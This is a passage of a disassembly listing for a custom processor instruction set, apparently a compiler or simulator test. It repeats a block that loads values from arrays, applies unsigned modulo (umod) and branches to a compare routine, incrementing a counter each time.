2bc: 0d 42 26 08 wl16 r16,0x1128
2c0: 0d 60 02 03 wh16 r16,0x3
2c4: 10 40 02 10 ld32 r16,r16
2c8: 0d 44 45 24 wl16 r9,0x2224
2cc: 0d 60 01 23 wh16 r9,0x3
2d0: 10 40 01 29 ld32 r9,r9
2d4: 00 a0 01 10 umod r8,r16
2d8: 20 70 03 e2 movepc rret,8
2dc: 14 30 ff 4d br 10 <compare>,#al
2e0: 00 10 00 41 add r2,1
2e4: 0d 40 05 10 wl16 r8,0x30
2e8: 0d 60 01 03 wh16 r8,0x3
2ec: 10 40 01 08 ld32 r8,r8
2f0: 0d 42 26 0c wl16 r16,0x112c
2f4: 0d 60 02 03 wh16 r16,0x3
2f8: 10 40 02 10 ld32 r16,r16
2fc: 0d 44 45 28 wl16 r9,0x2228
300: 0d 60 01 23 wh16 r9,0x3
304: 10 40 01 29 ld32 r9,r9
308: 00 a0 01 10 umod r8,r16
30c: 20 70 03 e2 movepc rret,8
310: 14 30 ff 40 br 10 <compare>,#al
314: 00 10 00 41 add r2,1
318: 0d 40 05 14 wl16 r8,0x34
31c: 0d 60 01 03 wh16 r8,0x3
320: 10 40 01 08 ld32 r8,r8
324: 0d 42 26 10 wl16 r16,0x1130
328: 0d 60 02 03 wh16 r16,0x3
32c: 10 40 02 10 ld32 r16,r16
330: 0d 44 45 2c wl16 r9,0x222c
334: 0d 60 01 23 wh16 r9,0x3
338: 10 40 01 29 ld32 r9,r9
33c: 00 a0 01 10 umod r8,r16
340: 20 70 03 e2 movepc rret,8
344: 14 30 ff 33 br 10 <compare>,#al
348: 00 10 00 41 add r2,1
34c: 0d 40 05 18 wl16 r8,0x38
350: 0d 60 01 03 wh16 r8,0x3
354: 10 40 01 08 ld32 r8,r8
358: 0d 42 26 14 wl16 r16,0x1134
35c: 0d 60 02 03 wh16 r16,0x3
360: 10 40 02 10 ld32 r16,r16
364: 0d 44 45 30 wl16 r9,0x2230
368: 0d 60 01 23 wh16 r9,0x3
36c: 10 40 01 29 ld32 r9,r9
370: 00 a0 01 10 umod r8,r16
374: 20 70 03 e2 movepc rret,8
378: 14 30 ff 26 br 10 <compare>,#al
37c: 00 10 00 41 add r2,1
380: 0d 40 05 1c wl16 r8,0x3c
384: 0d 60 01 03 wh16 r8,0x3
388: 10 40 01 08 ld32 r8,r8
38c: 0d 42 26 18 wl16 r16,0x1138
390: 0d 60 02 03 wh16 r16,0x3
394: 10 40 02 10 ld32 r16,r16
398: 0d 44 45 34 wl16 r9,0x2234
39c: 0d 60 01 23 wh16 r9,0x3
3a0: 10 40 01 29 ld32 r9,r9
3a4: 00 a0 01 10 umod r8,r16
3a8: 20 70 03 e2 movepc rret,8
3ac: 14 30 ff 19 br 10 <compare>,#al
3b0: 00 10 00 41 add r2,1
3b4: 0d 40 09 00 wl16 r8,0x40
3b8: 0d 60 01 03 wh16 r8,0x3
3bc: 10 40 01 08 ld32 r8,r8
3c0: 0d 42 26 1c wl16 r16,0x113c
3c4: 0d 60 02 03 wh16 r16,0x3
3c8: 10 40 02 10 ld32 r16,r16
3cc: 0d 44 45 38 wl16 r9,0x2238
3d0: 0d 60 01 23 wh16 r9,0x3
3d4: 10 40 01 29 ld32 r9,r9
3d8: 00 a0 01 10 umod r8,r16
3dc: 20 70 03 e2 movepc rret,8
3e0: 14 30 ff 0c br 10 <compare>,#al
3e4: 00 10 00 41 add r2,1
3e8: 0d 40 09 04 wl16 r8,0x44
3ec: 0d 60 01 03 wh16 r8,0x3
3f0: 10 40 01 08 ld32 r8,r8
3f4: 0d 42 2a 00 wl16 r16,0x1140
3f8: 0d 60 02 03 wh16 r16,0x3
3fc: 10 40 02 10 ld32 r16,r16
400: 0d 44 45 3c wl16 r9,0x223c
404: 0d 60 01 23 wh16 r9,0x3
408: 10 40 01 29 ld32 r9,r9
40c: 00 a0 01 10 umod r8,r16
410: 20 70 03 e2 movepc rret,8
414: 14 30 fe ff br 10 <compare>,#al
418: 00 10 00 41 add r2,1
41c: 0d 40 09 08 wl16 r8,0x48
420: 0d 60 01 03 wh16 r8,0x3
424: 10 40 01 08 ld32 r8,r8
428: 0d 42 2a 04 wl16 r16,0x1144
42c: 0d 60 02 03 wh16 r16,0x3
430: 10 40 02 10 ld32 r16,r16
434: 0d 44 49 20 wl16 r9,0x2240
438: 0d 60 01 23 wh16 r9,0x3
43c: 10 40 01 29 ld32 r9,r9
440: 00 a0 01 10 umod r8,r16
444: 20 70 03 e2 movepc rret,8
448: 14 30 fe f2 br 10 <compare>,#al
44c: 00 10 00 41 add r2,1
450: 0d 40 09 0c wl16 r8,0x4c
454: 0d 60 01 03 wh16 r8,0x3
458: 10 40 01 08 ld32 r8,r8
45c: 0d 42 2a 08 wl16 r16,0x1148
460: 0d 60 02 03 wh16 r16,0x3
464: 10 40 02 10 ld32 r16,r16
468: 0d 44 49 24 wl16 r9,0x2244
46c: 0d 60 01 23 wh16 r9,0x3
470: 10 40 01 29 ld32 r9,r9
474: 00 a0 01 10 umod r8,r16
478: 20 70 03 e2 movepc rret,8
47c: 14 30 fe e5 br 10 <compare>,#al
480: 00 10 00 41 add r2,1
484: 0d 40 09 10 wl16 r8,0x50
488: 0d 60 01 03 wh16 r8,0x3
48c: 10 40 01 08 ld32 r8,r8
490: 0d 42 2a 0c wl16 r16,0x114c
494: 0d 60 02 03 wh16 r16,0x3
498: 10 40 02 10 ld32 r16,r16
49c: 0d 44 49 28 wl16 r9,0x2248
4a0: 0d 60 01 23 wh16 r9,0x3
4a4: 10 40 01 29 ld32 r9,r9
4a8: 00 a0 01 10 umod r8,r16
4ac: 20 70 03 e2 movepc rret,8
4b0: 14 30 fe d8 br 10 <compare>,#al
4b4: 00 10 00 41 add r2,1
4b8: 0d 40 09 14 wl16 r8,0x54
4bc: 0d 60 01 03 wh16 r8,0x3
4c0: 10 40 01 08 ld32 r8,r8
4c4: 0d 42 2a 10 wl16 r16,0x1150
4c8: 0d 60 02 03 wh16 r16,0x3
4cc: 10 40 02 10 ld32 r16,r16
4d0: 0d 44 49 2c wl16 r9,0x224c
4d4: 0d 60 01 23 wh16 r9,0x3
4d8: 10 40 01 29 ld32 r9,r9
4dc: 00 a0 01 10 umod r8,r16
4e0: 20 70 03 e2 movepc rret,8
4e4: 14 30 fe cb br 10 <compare>,#al
4e8: 00 10 00 41 add r2,1
4ec: 0d 40 09 18 wl16 r8,0x58
4f0: 0d 60 01 03 wh16 r8,0x3
4f4: 10 40 01 08 ld32 r8,r8
4f8: 0d 42 2a 14 wl16 r16,0x1154
4fc: 0d 60 02 03 wh16 r16,0x3
500: 10 40 02 10 ld32 r16,r16
504: 0d 44 49 30 wl16 r9,0x2250
508: 0d 60 01 23 wh16 r9,0x3
50c: 10 40 01 29 ld32 r9,r9
510: 00 a0 01 10 umod r8,r16
514: 20 70 03 e2 movepc rret,8
518: 14 30 fe be br 10 <compare>,#al
51c: 00 10 00 41 add r2,1
520: 0d 40 09 1c wl16 r8,0x5c
524: 0d 60 01 03 wh16 r8,0x3
528: 10 40 01 08 ld32 r8,r8
52c: 0d 42 2a 18 wl16 r16,0x1158
530: 0d 60 02 03 wh16 r16,0x3
534: 10 40 02 10 ld32 r16,r16
538: 0d 44 49 34 wl16 r9,0x2254
53c: 0d 60 01 23 wh16 r9,0x3
540: 10 40 01 29 ld32 r9,r9
544: 00 a0 01 10 umod r8,r16
548: 20 70 03 e2 movepc rret,8
54c: 14 30 fe b1 br 10 <compare>,#al
550: 00 10 00 41 add r2,1
554: 0d 40 0d 00 wl16 r8,0x60
558: 0d 60 01 03 wh16 r8,0x3
55c: 10 40 01 08 ld32 r8,r8
560: 0d 42 2a 1c wl16 r16,0x115c
564: 0d 60 02 03 wh16 r16,0x3
568: 10 40 02 10 ld32 r16,r16
56c: 0d 44 49 38 wl16 r9,0x2258
570: 0d 60 01 23 wh16 r9,0x3
574: 10 40 01 29 ld32 r9,r9
578: 00 a0 01 10 umod r8,r16
57c: 20 70 03 e2 movepc rret,8
580: 14 30 fe a4 br 10 <compare>,#al
584: 00 10 00 41 add r2,1
588: 0d 40 0d 04 wl16 r8,0x64
58c: 0d 60 01 03 wh16 r8,0x3
590: 10 40 01 08 ld32 r8,r8
594: 0d 42 2e 00 wl16 r16,0x1160
598: 0d 60 02 03 wh16 r16,0x3
59c: 10 40 02 10 ld32 r16,r16
5a0: 0d 44 49 3c wl16 r9,0x225c
5a4: 0d 60 01 23 wh16 r9,0x3
5a8: 10 40 01 29 ld32 r9,r9
5ac: 00 a0 01 10 umod r8,r16
5b0: 20 70 03 e2 movepc rret,8
5b4: 14 30 fe 97 br 10 <compare>,#al
5b8: 00 10 00 41 add r2,1
5bc: 0d 40 0d 08 wl16 r8,0x68
5c0: 0d 60 01 03 wh16 r8,0x3
5c4: 10 40 01 08 ld32 r8,r8
5c8: 0d 42 2e 04 wl16 r16,0x1164
5cc: 0d 60 02 03 wh16 r16,0x3
5d0: 10 40 02 10 ld32 r16,r16
5d4: 0d 44 4d 20 wl16 r9,0x2260
5d8: 0d 60 01 23 wh16 r9,0x3
5dc: 10 40 01 29 ld32 r9,r9
5e0: 00 a0 01 10 umod r8,r16
5e4: 20 70 03 e2 movepc rret,8
5e8: 14 30 fe 8a br 10 <compare>,#al
5ec: 00 10 00 41 add r2,1
5f0: 0d 40 0d 0c wl16 r8,0x6c
5f4: 0d 60 01 03 wh16 r8,0x3
5f8: 10 40 01 08 ld32 r8,r8
5fc: 0d 42 2e 08 wl16 r16,0x1168
600: 0d 60 02 03 wh16 r16,0x3
604: 10 40 02 10 ld32 r16,r16
608: 0d 44 4d 24 wl16 r9,0x2264
60c: 0d 60 01 23 wh16 r9,0x3
610: 10 40 01 29 ld32 r9,r9
614: 00 a0 01 10 umod r8,r16
618: 20 70 03 e2 movepc rret,8
61c: 14 30 fe 7d br 10 <compare>,#al
620: 00 10 00 41 add r2,1
624: 0d 40 0d 10 wl16 r8,0x70
628: 0d 60 01 03 wh16 r8,0x3
62c: 10 40 01 08 ld32 r8,r8
630: 0d 42 2e 0c wl16 r16,0x116c
634: 0d 60 02 03 wh16 r16,0x3
638: 10 40 02 10 ld32 r16,r16
63c: 0d 44 4d 28 wl16 r9,0x2268
640: 0d 60 01 23 wh16 r9,0x3
644: 10 40 01 29 ld32 r9,r9
648: 00 a0 01 10 umod r8,r16
64c: 20 70 03 e2 movepc rret,8
650: 14 30 fe 70 br 10 <compare>,#al
654: 00 10 00 41 add r2,1
658: 0d 40 0d 14 wl16 r8,0x74
65c: 0d 60 01 03 wh16 r8,0x3
660: 10 40 01 08 ld32 r8,r8
664: 0d 42 2e 10 wl16 r16,0x1170
668: 0d 60 02 03 wh16 r16,0x3
66c: 10 40 02 10 ld32 r16,r16
670: 0d 44 4d 2c wl16 r9,0x226c
674: 0d 60 01 23 wh16 r9,0x3
678: 10 40 01 29 ld32 r9,r9
67c: 00 a0 01 10 umod r8,r16
680: 20 70 03 e2 movepc rret,8
684: 14 30 fe 63 br 10 <compare>,#al
688: 00 10 00 41 add r2,1
68c: 0d 40 0d 18 wl16 r8,0x78
690: 0d 60 01 03 wh16 r8,0x3
694: 10 40 01 08 ld32 r8,r8
698: 0d 42 2e 14 wl16 r16,0x1174
69c: 0d 60 02 03 wh16 r16,0x3
6a0: 10 40 02 10 ld32 r16,r16
6a4: 0d 44 4d 30 wl16 r9,0x2270
6a8: 0d 60 01 23 wh16 r9,0x3
6ac: 10 40 01 29 ld32 r9,r9
6b0: 00 a0 01 10 umod r8,r16
6b4: 20 70 03 e2 movepc rret,8
6b8: 14 30 fe 56 br 10 <compare>,#al
6bc: 00 10 00 41 add r2,1
6c0: 0d 40 0d 1c wl16 r8,0x7c
6c4: 0d 60 01 03 wh16 r8,0x3
6c8: 10 40 01 08 ld32 r8,r8
6cc: 0d 42 2e 18 wl16 r16,0x1178
6d0: 0d 60 02 03 wh16 r16,0x3
6d4: 10 40 02 10 ld32 r16,r16
6d8: 0d 44 4d 34 wl16 r9,0x2274
6dc: 0d 60 01 23 wh16 r9,0x3
6e0: 10 40 01 29 ld32 r9,r9
6e4: 00 a0 01 10 umod r8,r16
6e8: 20 70 03 e2 movepc rret,8
6ec: 14 30 fe 49 br 10 <compare>,#al
6f0: 00 10 00 41 add r2,1
6f4: 0d 40 11 00 wl16 r8,0x80
6f8: 0d 60 01 03 wh16 r8,0x3
6fc: 10 40 01 08 ld32 r8,r8
700: 0d 42 2e 1c wl16 r16,0x117c
704: 0d 60 02 03 wh16 r16,0x3
708: 10 40 02 10 ld32 r16,r16
70c: 0d 44 4d 38 wl16 r9,0x2278
710: 0d 60 01 23 wh16 r9,0x3
714: 10 40 01 29 ld32 r9,r9
718: 00 a0 01 10 umod r8,r16
71c: 20 70 03 e2 movepc rret,8
720: 14 30 fe 3c br 10 <compare>,#al
724: 00 10 00 41 add r2,1
728: 0d 40 11 04 wl16 r8,0x84
72c: 0d 60 01 03 wh16 r8,0x3
730: 10 40 01 08 ld32 r8,r8
734: 0d 42 32 00 wl16 r16,0x1180
738: 0d 60 02 03 wh16 r16,0x3
73c: 10 40 02 10 ld32 r16,r16
740: 0d 44 4d 3c wl16 r9,0x227c
744: 0d 60 01 23 wh16 r9,0x3
748: 10 40 01 29 ld32 r9,r9
74c: 00 a0 01 10 umod r8,r16
750: 20 70 03 e2 movepc rret,8
754: 14 30 fe 2f br 10 <compare>,#al
758: 00 10 00 41 add r2,1
75c: 0d 40 11 08 wl16 r8,0x88
760: 0d 60 01 03 wh16 r8,0x3
764: 10 40 01 08 ld32 r8,r8
768: 0d 42 32 04 wl16 r16,0x1184
76c: 0d 60 02 03 wh16 r16,0x3
770: 10 40 02 10 ld32 r16,r16
774: 0d 44 51 20 wl16 r9,0x2280
778: 0d 60 01 23 wh16 r9,0x3
77c: 10 40 01 29 ld32 r9,r9
780: 00 a0 01 10 umod r8,r16
784: 20 70 03 e2 movepc rret,8
788: 14 30 fe 22 br 10 <compare>,#al
78c: 00 10 00 41 add r2,1
790: 0d 40 11 0c wl16 r8,0x8c
794: 0d 60 01 03 wh16 r8,0x3
798: 10 40 01 08 ld32 r8,r8
79c: 0d 42 32 08 wl16 r16,0x1188
7a0: 0d 60 02 03 wh16 r16,0x3
7a4: 10 40 02 10 ld32 r16,r16
7a8: 0d 44 51 24 wl16 r9,0x2284
7ac: 0d 60 01 23 wh16 r9,0x3
7b0: 10 40 01 29 ld32 r9,r9
7b4: 00 a0 01 10 umod r8,r16
7b8: 20 70 03 e2 movepc rret,8
7bc: 14 30 fe 15 br 10 <compare>,#al
7c0: 00 10 00 41 add r2,1
7c4: 0d 40 11 10 wl16 r8,0x90
7c8: 0d 60 01 03 wh16 r8,0x3
7cc: 10 40 01 08 ld32 r8,r8
7d0: 0d 42 32 0c wl16 r16,0x118c
7d4: 0d 60 02 03 wh16 r16,0x3
7d8: 10 40 02 10 ld32 r16,r16
7dc: 0d 44 51 28 wl16 r9,0x2288
7e0: 0d 60 01 23 wh16 r9,0x3
7e4: 10 40 01 29 ld32 r9,r9
7e8: 00 a0 01 10 umod r8,r16
7ec: 20 70 03 e2 movepc rret,8
7f0: 14 30 fe 08 br 10 <compare>,#al
7f4: 00 10 00 41 add r2,1
7f8: 0d 40 11 14 wl16 r8,0x94
7fc: 0d 60 01 03 wh16 r8,0x3
800: 10 40 01 08 ld32 r8,r8
804: 0d 42 32 10 wl16 r16,0x1190
808: 0d 60 02 03 wh16 r16,0x3
80c: 10 40 02 10 ld32 r16,r16
810: 0d 44 51 2c wl16 r9,0x228c
814: 0d 60 01 23 wh16 r9,0x3
818: 10 40 01 29 ld32 r9,r9
81c: 00 a0 01 10 umod r8,r16
820: 20 70 03 e2 movepc rret,8
824: 14 30 fd fb br 10 <compare>,#al
828: 00 10 00 41 add r2,1
82c: 0d 40 11 18 wl16 r8,0x98
830: 0d 60 01 03 wh16 r8,0x3
834: 10 40 01 08 ld32 r8,r8
838: 0d 42 32 14 wl16 r16,0x1194
83c: 0d 60 02 03 wh16 r16,0x3
840: 10 40 02 10 ld32 r16,r16
844: 0d 44 51 30 wl16 r9,0x2290
848: 0d 60 01 23 wh16 r9,0x3
84c: 10 40 01 29 ld32 r9,r9
850: 00 a0 01 10 umod r8,r16
854: 20 70 03 e2 movepc rret,8
858: 14 30 fd ee br 10 <compare>,#al
85c: 00 10 00 41 add r2,1
860: 0d 40 11 1c wl16 r8,0x9c
864: 0d 60 01 03 wh16 r8,0x3
868: 10 40 01 08 ld32 r8,r8
86c: 0d 42 32 18 wl16 r16,0x1198
870: 0d 60 02 03 wh16 r16,0x3
874: 10 40 02 10 ld32 r16,r16
878: 0d 44 51 34 wl16 r9,0x2294
87c: 0d 60 01 23 wh16 r9,0x3
880: 10 40 01 29 ld32 r9,r9
884: 00 a0 01 10 umod r8,r16
888: 20 70 03 e2 movepc rret,8
88c: 14 30 fd e1 br 10 <compare>,#al
890: 00 10 00 41 add r2,1
894: 0d 40 15 00 wl16 r8,0xa0
898: 0d 60 01 03 wh16 r8,0x3
89c: 10 40 01 08 ld32 r8,r8
8a0: 0d 42 32 1c wl16 r16,0x119c
8a4: 0d 60 02 03 wh16 r16,0x3
8a8: 10 40 02 10 ld32 r16,r16
8ac: 0d 44 51 38 wl16 r9,0x2298
8b0: 0d 60 01 23 wh16 r9,0x3
8b4: 10 40 01 29 ld32 r9,r9
8b8: 00 a0 01 10 umod r8,r16
8bc: 20 70 03 e2 movepc rret,8
8c0: 14 30 fd d4 br 10 <compare>,#al
8c4: 00 10 00 41 add r2,1
8c8: 0d 40 15 04 wl16 r8,0xa4
8cc: 0d 60 01 03 wh16 r8,0x3
8d0: 10 40 01 08 ld32 r8,r8
8d4: 0d 42 36 00 wl16 r16,0x11a0
8d8: 0d 60 02 03 wh16 r16,0x3
8dc: 10 40 02 10 ld32 r16,r16
8e0: 0d 44 51 3c wl16 r9,0x229c
8e4: 0d 60 01 23 wh16 r9,0x3
8e8: 10 40 01 29 ld32 r9,r9
8ec: 00 a0 01 10 umod r8,r16
8f0: 20 70 03 e2 movepc rret,8
8f4: 14 30 fd c7 br 10 <compare>,#al
8f8: 00 10 00 41 add r2,1
8fc: 0d 40 15 08 wl16 r8,0xa8
900: 0d 60 01 03 wh16 r8,0x3
904: 10 40 01 08 ld32 r8,r8
908: 0d 42 36 04 wl16 r16,0x11a4
90c: 0d 60 02 03 wh16 r16,0x3
910: 10 40 02 10 ld32 r16,r16
914: 0d 44 55 20 wl16 r9,0x22a0
918: 0d 60 01 23 wh16 r9,0x3
91c: 10 40 01 29 ld32 r9,r9
920: 00 a0 01 10 umod r8,r16
924: 20 70 03 e2 movepc rret,8
928: 14 30 fd ba br 10 <compare>,#al
92c: 00 10 00 41 add r2,1
930: 0d 40 15 0c wl16 r8,0xac
934: 0d 60 01 03 wh16 r8,0x3
938: 10 40 01 08 ld32 r8,r8
93c: 0d 42 36 08 wl16 r16,0x11a8
940: 0d 60 02 03 wh16 r16,0x3
944: 10 40 02 10 ld32 r16,r16
948: 0d 44 55 24 wl16 r9,0x22a4
94c: 0d 60 01 23 wh16 r9,0x3
950: 10 40 01 29 ld32 r9,r9
954: 00 a0 01 10 umod r8,r16
958: 20 70 03 e2 movepc rret,8
95c: 14 30 fd ad br 10 <compare>,#al
960: 00 10 00 41 add r2,1
964: 0d 40 15 10 wl16 r8,0xb0
968: 0d 60 01 03 wh16 r8,0x3
96c: 10 40 01 08 ld32 r8,r8
970: 0d 42 36 0c wl16 r16,0x11ac
974: 0d 60 02 03 wh16 r16,0x3
978: 10 40 02 10 ld32 r16,r16
97c: 0d 44 55 28 wl16 r9,0x22a8
980: 0d 60 01 23 wh16 r9,0x3
984: 10 40 01 29 ld32 r9,r9
988: 00 a0 01 10 umod r8,r16
98c: 20 70 03 e2 movepc rret,8
990: 14 30 fd a0 br 10 <compare>,#al
994: 00 10 00 41 add r2,1
998: 0d 40 15 14 wl16 r8,0xb4
99c: 0d 60 01 03 wh16 r8,0x3
9a0: 10 40 01 08 ld32 r8,r8
9a4: 0d 42 36 10 wl16 r16,0x11b0
9a8: 0d 60 02 03 wh16 r16,0x3
9ac: 10 40 02 10 ld32 r16,r16
9b0: 0d 44 55 2c wl16 r9,0x22ac
9b4: 0d 60 01 23 wh16 r9,0x3
9b8: 10 40 01 29 ld32 r9,r9
9bc: 00 a0 01 10 umod r8,r16
9c0: 20 70 03 e2 movepc rret,8
9c4: 14 30 fd 93 br 10 <compare>,#al
9c8: 00 10 00 41 add r2,1
9cc: 0d 40 15 18 wl16 r8,0xb8
9d0: 0d 60 01 03 wh16 r8,0x3
9d4: 10 40 01 08 ld32 r8,r8
9d8: 0d 42 36 14 wl16 r16,0x11b4
9dc: 0d 60 02 03 wh16 r16,0x3
9e0: 10 40 02 10 ld32 r16,r16
9e4: 0d 44 55 30 wl16 r9,0x22b0
9e8: 0d 60 01 23 wh16 r9,0x3
9ec: 10 40 01 29 ld32 r9,r9
9f0: 00 a0 01 10 umod r8,r16
9f4: 20 70 03 e2 movepc rret,8
9f8: 14 30 fd 86 br 10 <compare>,#al
9fc: 00 10 00 41 add r2,1
a00: 0d 40 15 1c wl16 r8,0xbc
a04: 0d 60 01 03 wh16 r8,0x3
a08: 10 40 01 08 ld32 r8,r8
a0c: 0d 42 36 18 wl16 r16,0x11b8
a10: 0d 60 02 03 wh16 r16,0x3
a14: 10 40 02 10 ld32 r16,r16
a18: 0d 44 55 34 wl16 r9,0x22b4
a1c: 0d 60 01 23 wh16 r9,0x3
a20: 10 40 01 29 ld32 r9,r9
a24: 00 a0 01 10 umod r8,r16
a28: 20 70 03 e2 movepc rret,8
a2c: 14 30 fd 79 br 10 <compare>,#al
a30: 00 10 00 41 add r2,1
a34: 0d 40 19 00 wl16 r8,0xc0
a38: 0d 60 01 03 wh16 r8,0x3
a3c: 10 40 01 08 ld32 r8,r8
a40: 0d 42 36 1c wl16 r16,0x11bc
a44: 0d 60 02 03 wh16 r16,0x3
a48: 10 40 02 10 ld32 r16,r16
a4c: 0d 44 55 38 wl16 r9,0x22b8
a50: 0d 60 01 23 wh16 r9,0x3
a54: 10 40 01 29 ld32 r9,r9
a58: 00 a0 01 10 umod r8,r16
a5c: 20 70 03 e2 movepc rret,8
a60: 14 30 fd 6c br 10 <compare>,#al
a64: 00 10 00 41 add r2,1
a68: 0d 40 19 04 wl16 r8,0xc4
a6c: 0d 60 01 03 wh16 r8,0x3
a70: 10 40 01 08 ld32 r8,r8
a74: 0d 42 3a 00 wl16 r16,0x11c0
a78: 0d 60 02 03 wh16 r16,0x3
a7c: 10 40 02 10 ld32 r16,r16
a80: 0d 44 55 3c wl16 r9,0x22bc
a84: 0d 60 01 23 wh16 r9,0x3
a88: 10 40 01 29 ld32 r9,r9
a8c: 00 a0 01 10 umod r8,r16
a90: 20 70 03 e2 movepc rret,8
a94: 14 30 fd 5f br 10 <compare>,#al
a98: 00 10 00 41 add r2,1
a9c: 0d 40 19 08 wl16 r8,0xc8
aa0: 0d 60 01 03 wh16 r8,0x3
aa4: 10 40 01 08 ld32 r8,r8
aa8: 0d 42 3a 04 wl16 r16,0x11c4
aac: 0d 60 02 03 wh16 r16,0x3
ab0: 10 40 02 10 ld32 r16,r16
ab4: 0d 44 59 20 wl16 r9,0x22c0
ab8: 0d 60 01 23 wh16 r9,0x3
abc: 10 40 01 29 ld32 r9,r9
ac0: 00 a0 01 10 umod r8,r16
ac4: 20 70 03 e2 movepc rret,8
ac8: 14 30 fd 52 br 10 <compare>,#al
acc: 00 10 00 41 add r2,1
ad0: 0d 40 19 0c wl16 r8,0xcc
ad4: 0d 60 01 03 wh16 r8,0x3
ad8: 10 40 01 08 ld32 r8,r8
adc: 0d 42 3a 08 wl16 r16,0x11c8
ae0: 0d 60 02 03 wh16 r16,0x3
ae4: 10 40 02 10 ld32 r16,r16
ae8: 0d 44 59 24 wl16 r9,0x22c4
aec: 0d 60 01 23 wh16 r9,0x3
af0: 10 40 01 29 ld32 r9,r9
af4: 00 a0 01 10 umod r8,r16
af8: 20 70 03 e2 movepc rret,8
afc: 14 30 fd 45 br 10 <compare>,#al
b00: 00 10 00 41 add r2,1
b04: 0d 40 19 10 wl16 r8,0xd0
b08: 0d 60 01 03 wh16 r8,0x3
b0c: 10 40 01 08 ld32 r8,r8
b10: 0d 42 3a 0c wl16 r16,0x11cc
b14: 0d 60 02 03 wh16 r16,0x3
b18: 10 40 02 10 ld32 r16,r16
b1c: 0d 44 59 28 wl16 r9,0x22c8
b20: 0d 60 01 23 wh16 r9,0x3
b24: 10 40 01 29 ld32 r9,r9
b28: 00 a0 01 10 umod r8,r16
b2c: 20 70 03 e2 movepc rret,8
b30: 14 30 fd 38 br 10 <compare>,#al
b34: 00 10 00 41 add r2,1
b38: 0d 40 19 14 wl16 r8,0xd4
b3c: 0d 60 01 03 wh16 r8,0x3
b40: 10 40 01 08 ld32 r8,r8
b44: 0d 42 3a 10 wl16 r16,0x11d0
b48: 0d 60 02 03 wh16 r16,0x3
b4c: 10 40 02 10 ld32 r16,r16
b50: 0d 44 59 2c wl16 r9,0x22cc
b54: 0d 60 01 23 wh16 r9,0x3
b58: 10 40 01 29 ld32 r9,r9
b5c: 00 a0 01 10 umod r8,r16
b60: 20 70 03 e2 movepc rret,8
b64: 14 30 fd 2b br 10 <compare>,#al
b68: 00 10 00 41 add r2,1
b6c: 0d 40 19 18 wl16 r8,0xd8
b70: 0d 60 01 03 wh16 r8,0x3
b74: 10 40 01 08 ld32 r8,r8
b78: 0d 42 3a 14 wl16 r16,0x11d4
b7c: 0d 60 02 03 wh16 r16,0x3
b80: 10 40 02 10 ld32 r16,r16
b84: 0d 44 59 30 wl16 r9,0x22d0
b88: 0d 60 01 23 wh16 r9,0x3
b8c: 10 40 01 29 ld32 r9,r9
b90: 00 a0 01 10 umod r8,r16
b94: 20 70 03 e2 movepc rret,8
b98: 14 30 fd 1e br 10 <compare>,#al
b9c: 00 10 00 41 add r2,1
ba0: 0d 40 19 1c wl16 r8,0xdc
ba4: 0d 60 01 03 wh16 r8,0x3
ba8: 10 40 01 08 ld32 r8,r8
bac: 0d 42 3a 18 wl16 r16,0x11d8
bb0: 0d 60 02 03 wh16 r16,0x3
bb4: 10 40 02 10 ld32 r16,r16
bb8: 0d 44 59 34 wl16 r9,0x22d4
bbc: 0d 60 01 23 wh16 r9,0x3
bc0: 10 40 01 29 ld32 r9,r9
bc4: 00 a0 01 10 umod r8,r16
bc8: 20 70 03 e2 movepc rret,8
bcc: 14 30 fd 11 br 10 <compare>,#al
bd0: 00 10 00 41 add r2,1
bd4: 0d 40 1d 00 wl16 r8,0xe0
bd8: 0d 60 01 03 wh16 r8,0x3
bdc: 10 40 01 08 ld32 r8,r8
be0: 0d 42 3a 1c wl16 r16,0x11dc
be4: 0d 60 02 03 wh16 r16,0x3
be8: 10 40 02 10 ld32 r16,r16
bec: 0d 44 59 38 wl16 r9,0x22d8
bf0: 0d 60 01 23 wh16 r9,0x3
bf4: 10 40 01 29 ld32 r9,r9
bf8: 00 a0 01 10 umod r8,r16
bfc: 20 70 03 e2 movepc rret,8
c00: 14 30 fd 04 br 10 <compare>,#al
c04: 00 10 00 41 add r2,1
c08: 0d 40 1d 04 wl16 r8,0xe4
c0c: 0d 60 01 03 wh16 r8,0x3
c10: 10 40 01 08 ld32 r8,r8
c14: 0d 42 3e 00 wl16 r16,0x11e0
c18: 0d 60 02 03 wh16 r16,0x3
c1c: 10 40 02 10 ld32 r16,r16
c20: 0d 44 59 3c wl16 r9,0x22dc
c24: 0d 60 01 23 wh16 r9,0x3
c28: 10 40 01 29 ld32 r9,r9
c2c: 00 a0 01 10 umod r8,r16
c30: 20 70 03 e2 movepc rret,8
c34: 14 30 fc f7 br 10 <compare>,#al
c38: 00 10 00 41 add r2,1
c3c: 0d 40 1d 08 wl16 r8,0xe8
c40: 0d 60 01 03 wh16 r8,0x3
c44: 10 40 01 08 ld32 r8,r8
c48: 0d 42 3e 04 wl16 r16,0x11e4
c4c: 0d 60 02 03 wh16 r16,0x3
c50: 10 40 02 10 ld32 r16,r16
c54: 0d 44 5d 20 wl16 r9,0x22e0
c58: 0d 60 01 23 wh16 r9,0x3
c5c: 10 40 01 29 ld32 r9,r9
c60: 00 a0 01 10 umod r8,r16
c64: 20 70 03 e2 movepc rret,8
c68: 14 30 fc ea br 10 <compare>,#al
c6c: 00 10 00 41 add r2,1
c70: 0d 40 1d 0c wl16 r8,0xec
c74: 0d 60 01 03 wh16 r8,0x3
c78: 10 40 01 08 ld32 r8,r8
c7c: 0d 42 3e 08 wl16 r16,0x11e8
c80: 0d 60 02 03 wh16 r16,0x3
c84: 10 40 02 10 ld32 r16,r16
c88: 0d 44 5d 24 wl16 r9,0x22e4
c8c: 0d 60 01 23 wh16 r9,0x3
c90: 10 40 01 29 ld32 r9,r9
c94: 00 a0 01 10 umod r8,r16
c98: 20 70 03 e2 movepc rret,8
c9c: 14 30 fc dd br 10 <compare>,#al
ca0: 00 10 00 41 add r2,1
ca4: 0d 40 1d 10 wl16 r8,0xf0
ca8: 0d 60 01 03 wh16 r8,0x3
cac: 10 40 01 08 ld32 r8,r8
cb0: 0d 42 3e 0c wl16 r16,0x11ec
cb4: 0d 60 02 03 wh16 r16,0x3
cb8: 10 40 02 10 ld32 r16,r16
cbc: 0d 44 5d 28 wl16 r9,0x22e8
cc0: 0d 60 01 23 wh16 r9,0x3
cc4: 10 40 01 29 ld32 r9,r9
cc8: 00 a0 01 10 umod r8,r16
ccc: 20 70 03 e2 movepc rret,8
cd0: 14 30 fc d0 br 10 <compare>,#al
cd4: 00 10 00 41 add r2,1
cd8: 0d 40 1d 14 wl16 r8,0xf4
cdc: 0d 60 01 03 wh16 r8,0x3
